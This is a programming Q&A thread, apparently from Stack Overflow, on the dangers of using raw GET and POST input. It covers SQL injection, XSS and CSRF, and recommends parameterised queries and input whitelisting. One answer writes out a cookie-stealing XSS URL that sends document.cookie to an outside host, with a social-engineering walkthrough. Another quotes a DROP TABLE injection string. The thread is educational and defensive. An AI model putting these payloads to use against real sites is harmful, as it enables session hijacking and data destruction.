Hi all, i want to know what are the vulnerabilities while using the GET and POST variable directly. ie with out trimming and addslashes function and mysql escape string something like that.
My Question is
What more we need to take care of while playing with GET and POST.
What kind of attacks are there like SQL injection?
mainly CSRF, XSS and Directory traversal:
http://en.wikipedia.org/wiki/Cross-site%5Frequest%5Fforgery
In general, and not limited to GET and POST but also to any data that comes from outside the system (including cookies in the case of web applications):
Almost all vulnerabilities come down to "The user can run whatever code they like in the context you pass their input to".
You need to think about what you are doing with the data. Looking for a list of possible things that can go wrong when accepting tainted input into any system in the world isn't going to produce an exhaustive list.
And as an aside: forget addslashes (it isn't effective), forget mysql_real_escape (it's too easy to make a mistake with it). Use parameterized queries: http://stackoverflow.com/questions/60174/best-way-to-stop-sql-injection-in-php
If you take any GET or POST variable and effectively "execute" it, without passing it through a filter of some sorts, you are opening yourself up to injection attacks. SQL injection is obviously a very common case, but if you're doing any kind of eval() with that data (in a programming language, or any other database or interpreted situation - including passing HTML back to the browser to be interpreted on the client) then knowledgable attackers can craft input data that will make your application do things which are unintended.
It extends to a bit more than just "get" or "post". Its all dependent on the programming you've done to support them. If you are just serving up a static html page, not a whole lot of vulnerabilities. If on the other hand, you are setting and modifying data through get requests, the vulnerabilities can be endless, just look up the cases of the google bot wiping out data from places that used 'get' to submit things.
It all depends on what you are using the data for, and the vulnerabilites are restricted to get or set. Sanitize your inputs.
Easiest possible XSS attack with a tiny bit of social engineering
Lets suppose you have a simple PHP application, that uses sessions to track users. And it has some kind of admin interface, where users with higher privileges can lets say edit content.
And, lets suppose that you are logged in as an administrator to that site and that there is inside that application a file request.php, with the following piece of code
echo $GET['action'];
And now somebody discovers this, constructs the following url http://yourapp/request.php?action=document.location.href='http://foreignsite?c='+document.cookie
Then that someone adds this url to tinyurl.com, which shortens it to something like http://tinyurl.com/x44534, then he sends you an e-mail, stating "hey, look at this, you my find it useful".
You click the link, tinyurl.com translates the short url back to the long one, redirects your browser to it, your request.php happily outputs the Javascript from the query, your browser sees it, executes it and as a result, the person who runs http://foreignsite gets all your cookies.
Then he just needs to insert those cookie values to his browser, and voila, he has instant access to your site admin interface. Because he got your session cookie.
This described the simplest possible XSS attack, it is really simplistic, will probably not work in the real life, but hopefully you got the basic idea how it works.
GET and POST data is data directly sent from the user. You get it raw, with no checks or validation between the user and your program. Even if you were to validate the form that should originate the data, an attacker could manually craft a request with whatever data he wants. So you must always treat request data as untrusted user input.
There are a number of attacks that rely on the coder forgetting that request data is untrustworthy, but the most well-known is SQL injection. The root cause of SQL injection is building a query by manually concatenating strings, some of which are untrusted user input. This means that you are telling your database to execute untrusted user input.
The naive solution to SQL injection is to validate the inputs and then concatenate them into a query string, but this is poor form as well. You are relying on your validation logic to make the string safe, and if you misuse it -- or the logic is buggy -- then you are once again exposed to attacks.
The correct solution is to separate your query from the data it contains. Virtually all database adapters support this approach, and if yours doesn't for some reason, it's not fit for use. The most common idiom is (in no particular language):
myDB.query("select * from Stuff where id=?", [42]);
This will guarantee (in such a system) that the parameters are not executed. The query string is built from entirely trusted data, while the untrusted data is segregated. At worst, this approach applied to improper input can result in incorrect data, not an incorrect command.
This approach to avoiding SQL injection highlights the central principle that applies to all kinds of request data attacks: the request data is not yours and it's not safe. When handling any user input, including request data, always assume that it's originating from an attacker with intimate knowledge of your system. It may seem paranoid, but it keeps you safe.
As people have already written, any and all user input should be treated as malicious, regardless of how safe you might feel.
Developers think about securing the code at the time they are writing it, and when they are making modifications, while hackers think about messing that code whenever they decide to have a crack at it which can be today, tomorrow, or in two years. What might have seemed perfectly safe at the time the code was written may turn out to be exploitable at some later point.
Basically, all input should be filtered, examined and sanitized religiously regardless of what it is used for at any given time. Someone might skip on sanitizing a piece of user input because "it wont be used for anything that can cause harm", then 11 months down the line, someone on the team decides to use the presumedly sanitized data, that was assigned to a variable, in an SQL query or a system exec call and the whole system blows.
What should be done:
whitelist instead of blacklisting - know what input types you are expecting and convert user data accordingly, ids are usually integers so it's safe to cast all user submitted ids as integers. - know when you are expecting small amounts of data, and when you are expecting big. Personal names are usually relatively short and don't contain numerals, "1'; DROP TABLE customers;" is not a real name and you can know that without adding slashes.
then blacklist some just in case - apply the standard escaping logic to all data that made through your whitelist, just in case
then filter and check some more - until you feel safe
All of the superglobals can be manipulated by user agents. $_SERVER, $_POST, $_GET, etc.
You should really watch this excellent video on the subject.